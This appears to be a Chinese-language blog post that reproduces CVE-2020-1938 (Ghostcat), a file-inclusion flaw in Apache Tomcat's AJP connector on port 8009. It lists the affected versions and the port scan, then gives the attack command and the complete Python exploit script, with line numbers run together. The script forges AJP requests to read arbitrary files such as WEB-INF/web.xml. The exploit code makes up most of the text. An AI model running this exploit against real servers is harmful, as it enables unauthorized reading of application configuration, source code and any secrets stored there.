Tomcat文件包含漏洞（CVE-2020-1938）复现
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漏洞简介
cve-2020-1938是一个出现在Apache-Tomcat-Ajp的文件包含漏洞，攻击者可以利用该漏洞读取包含Tomcat上所有的webapp目录下的任意文件，入：webapp配置文件或源代码。
由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响Tomcat服务器上的Web目录文件。
影响范围
受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
不受影响版本
Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31
漏洞复现
1.扫描tomcat服务端口，可以看到Tomcat开启了AJP
发现开启了8080和8009端口，证明存在漏洞
2.进行攻击
POC:https://github.com/0nise/CVE-2020-1938
攻击语句：python CVE-2020-1938.py your-ip -p 8009 -f WEB-INF/web.xml
成功读取了WEB-INF下的web.xml文件
WEB-INF目录下所有文件都可以读取
另附cve-2020-1938.py
1 #!/usr/bin/env python 2 #CNVD-2020-10487 Tomcat-Ajp lfi 3 #by ydhcui 4 import struct 5 6 # Some references: 7 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 8 def pack_string(s): 9 if s is None: 10 return struct.pack(">h", -1) 11 l = len(s) 12 return struct.pack(">H%dsb" % l, l, s.encode(\'utf8\'), 0) 13 def unpack(stream, fmt): 14 size = struct.calcsize(fmt) 15 buf = stream.read(size) 16 return struct.unpack(fmt, buf) 17 def unpack_string(stream): 18 size, = unpack(stream, ">h") 19 if size == -1: # null string 20 return None 21 res, = unpack(stream, "%ds" % size) 22 stream.read(1) # \\0 23 return res 24 class NotFoundException(Exception): 25 pass 26 class AjpBodyRequest(object): 27 # server == web server, container == servlet 28 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 29 MAX_REQUEST_LENGTH = 8186 30 def __init__(self, data_stream, data_len, data_direction=None): 31 self.data_stream = data_stream 32 self.data_len = data_len 33 self.data_direction = data_direction 34 def serialize(self): 35 data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 36 if len(data) == 0: 37 return struct.pack(">bbH", 0x12, 0x34, 0x00) 38 else: 39 res = struct.pack(">H", len(data)) 40 res += data 41 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 42 header = struct.pack(">bbH", 0x12, 0x34, len(res)) 43 else: 44 header = struct.pack(">bbH", 0x41, 0x42, len(res)) 45 return header + res 46 def send_and_receive(self, socket, stream): 47 while True: 48 data = self.serialize() 49 socket.send(data) 50 r = AjpResponse.receive(stream) 51 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 52 r = AjpResponse.receive(stream) 53 54 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 55 break 56 class AjpForwardRequest(object): 57 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) 58 REQUEST_METHODS = {\'GET\': GET, \'POST\': POST, \'HEAD\': HEAD, \'OPTIONS\': OPTIONS, \'PUT\': PUT, \'DELETE\': DELETE, \'TRACE\': TRACE} 59 # server == web server, container == servlet 60 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 61 COMMON_HEADERS = ["SC_REQ_ACCEPT", 62 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", 63 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", 64 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 65 ] 66 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 67 def __init__(self, data_direction=None): 68 self.prefix_code = 0x02 69 self.method = None 70 self.protocol = None 71 self.req_uri = None 72 self.remote_addr = None 73 self.remote_host = None 74 self.server_name = None 75 self.server_port = None 76 self.is_ssl = None 77 self.num_headers = None 78 self.request_headers = None 79 self.attributes = None 80 self.data_direction = data_direction 81 def pack_headers(self): 82 self.num_headers = len(self.request_headers) 83 res = "" 84 res = struct.pack(">h", self.num_headers) 85 for h_name in self.request_headers: 86 if h_name.startswith("SC_REQ"): 87 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 88 res += struct.pack("BB", 0xA0, code) 89 else: 90 res += pack_string(h_name) 91 92 res += pack_string(self.request_headers[h_name]) 93 return res 94 95 def pack_attributes(self): 96 res = b"" 97 for attr in self.attributes: 98 a_name = attr[\'name\'] 99 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 100 res += struct.pack("b", code) 101 if a_name == "req_attribute": 102 aa_name, a_value = attr[\'value\'] 103 res += pack_string(aa_name) 104 res += pack_string(a_value) 105 else: 106 res += pack_string(attr[\'value\']) 107 res += struct.pack("B", 0xFF) 108 return res 109 def serialize(self): 110 res = "" 111 res = struct.pack("bb", self.prefix_code, self.method) 112 res += pack_string(self.protocol) 113 res += pack_string(self.req_uri) 114 res += pack_string(self.remote_addr) 115 res += pack_string(self.remote_host) 116 res += pack_string(self.server_name) 117 res += struct.pack(">h", self.server_port) 118 res += struct.pack("?", self.is_ssl) 119 res += self.pack_headers() 120 res += self.pack_attributes() 121 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 122 header = struct.pack(">bbh", 0x12, 0x34, len(res)) 123 else: 124 header = struct.pack(">bbh", 0x41, 0x42, len(res)) 125 return header + res 126 def parse(self, raw_packet): 127 stream = StringIO(raw_packet) 128 self.magic1, self.magic2, data_len = unpack(stream, "bbH") 129 self.prefix_code, self.method = unpack(stream, "bb") 130 self.protocol = unpack_string(stream) 131 self.req_uri = unpack_string(stream) 132 self.remote_addr = unpack_string(stream) 133 self.remote_host = unpack_string(stream) 134 self.server_name = unpack_string(stream) 135 self.server_port = unpack(stream, ">h") 136 self.is_ssl = unpack(stream, "?") 137 self.num_headers, = unpack(stream, ">H") 138 self.request_headers = {} 139 for i in range(self.num_headers): 140 code, = unpack(stream, ">H") 141 if code > 0xA000: 142 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 143 else: 144 h_name = unpack(stream, "%ds" % code) 145 stream.read(1) # \\0 146 h_value = unpack_string(stream) 147 self.request_headers[h_name] = h_value 148 def send_and_receive(self, socket, stream, save_cookies=False): 149 res = [] 150 i = socket.sendall(self.serialize()) 151 if self.method == AjpForwardRequest.POST: 152 return res 153 154 r = AjpResponse.receive(stream) 155 assert r.prefix_code == AjpResponse.SEND_HEADERS 156 res.append(r) 157 if save_cookies and \'Set-Cookie\' in r.response_headers: 158 self.headers[\'SC_REQ_COOKIE\'] = r.response_headers[\'Set-Cookie\'] 159 160 # read body chunks and end response packets 161 while True: 162 r = AjpResponse.receive(stream) 163 res.append(r) 164 if r.prefix_code == AjpResponse.END_RESPONSE: 165 break 166 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 167 continue 168 else: 169 raise NotImplementedError 170 break 171 172 return res 173 174 class AjpResponse(object): 175 _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 176 COMMON_SEND_HEADERS = [ 177 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 178 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 179 ] 180 def parse(self, stream): 181 # read headers 182 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 183 184 if self.prefix_code == AjpResponse.SEND_HEADERS: 185 self.parse_send_headers(stream) 186 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 187 self.parse_send_body_chunk(stream) 188 elif self.prefix_code == AjpResponse.END_RESPONSE: 189 self.parse_end_response(stream) 190 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 191 self.parse_get_body_chunk(stream) 192 else: 193 raise NotImplementedError 194 195 def parse_send_headers(self, stream): 196 self.http_status_code, = unpack(stream, ">H") 197 self.http_status_msg = unpack_string(stream) 198 self.num_headers, = unpack(stream, ">H") 199 self.response_headers = {} 200 for i in range(self.num_headers): 201 code, = unpack(stream, ">H") 202 if code <= 0xA000: # custom header 203 h_name, = unpack(stream, "%ds" % code) 204 stream.read(1) # \\0 205 h_value = unpack_string(stream) 206 else: 207 h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] 208 h_value = unpack_string(stream) 209 self.response_headers[h_name] = h_value 210 211 def parse_send_body_chunk(self, stream): 212 self.data_length, = unpack(stream, ">H") 213 self.data = stream.read(self.data_length+1) 214 215 def parse_end_response(self, stream): 216 self.reuse, = unpack(stream, "b") 217 218 def parse_get_body_chunk(self, stream): 219 rlen, = unpack(stream, ">H") 220 return rlen 221 222 @staticmethod 223 def receive(stream): 224 r = AjpResponse() 225 r.parse(stream) 226 return r 227 228 import socket 229 230 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 231 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 232 fr.method = method 233 fr.protocol = "HTTP/1.1" 234 fr.req_uri = req_uri 235 fr.remote_addr = target_host 236 fr.remote_host = None 237 fr.server_name = target_host 238 fr.server_port = 80 239 fr.request_headers = { 240 \'SC_REQ_ACCEPT\': \'text/html\', 241 \'SC_REQ_CONNECTION\': \'keep-alive\', 242 \'SC_REQ_CONTENT_LENGTH\': \'0\', 243 \'SC_REQ_HOST\': target_host, 244 \'SC_REQ_USER_AGENT\': \'Mozilla\', 245 \'Accept-Encoding\': \'gzip, deflate, sdch\', 246 \'Accept-Language\': \'en-US,en;q=0.5\', 247 \'Upgrade-Insecure-Requests\': \'1\', 248 \'Cache-Control\': \'max-age=0\' 249 } 250 fr.is_ssl = False 251 fr.attributes = [] 252 return fr 253 254 class Tomcat(object): 255 def __init__(self, target_host, target_port): 256 self.target_host = target_host 257 self.target_port = target_port 258 259 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 260 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 261 self.socket.connect((target_host, target_port)) 262 self.stream = self.socket.makefile("rb", bufsize=0) 263 264 def perform_request(self, req_uri, headers={}, method=\'GET\', user=None, password=None, attributes=[]): 265 self.req_uri = req_uri 266 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) 267 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 268 if user is not None and password is not None: 269 self.forward_request.request_headers[\'SC_REQ_AUTHORIZATION\'] = "Basic " + ("%s:%s" % (user, password)).encode(\'base64\').replace(\'\\n\', \'\') 270 for h in headers: 271 self.forward_request.request_headers[h] = headers[h] 272 for a in attributes: 273 self.forward_request.attributes.append(a) 274 responses = self.forward_request.send_and_receive(self.socket, self.stream) 275 if len(responses) == 0: 276 return None, None 277 snd_hdrs_res = responses[0] 278 data_res = responses[1:-1] 279 if len(data_res) == 0: 280 print("No data in response. Headers:%s\\n" % snd_hdrs_res.response_headers) 281 return snd_hdrs_res, data_res 282 283 \'\'\' 284 javax.servlet.include.request_uri 285 javax.servlet.include.path_info 286 javax.servlet.include.servlet_path 287 \'\'\' 288 289 import argparse 290 parser = argparse.ArgumentParser() 291 parser.add_argument("target", type=str, help="Hostname or IP to attack") 292 parser.add_argument(\'-p\', \'--port\', type=int, default=8009, help="AJP port to attack (default is 8009)") 293 parser.add_argument("-f", \'--file\', type=str, default=\'WEB-INF/web.xml\', help="file path :(WEB-INF/web.xml)") 294 args = parser.parse_args() 295 t = Tomcat(args.target, args.port) 296 _,data = t.perform_request(\'/asdf\',attributes=[ 297 {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.request_uri\',\'/\']}, 298 {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.path_info\',args.file]}, 299 {\'name\':\'req_attribute\',\'value\':[\'javax.servlet.include.servlet_path\',\'/\']}, 300 ]) 301 print(\'----------------------------\') 302 print("".join([d.data for d in data]))
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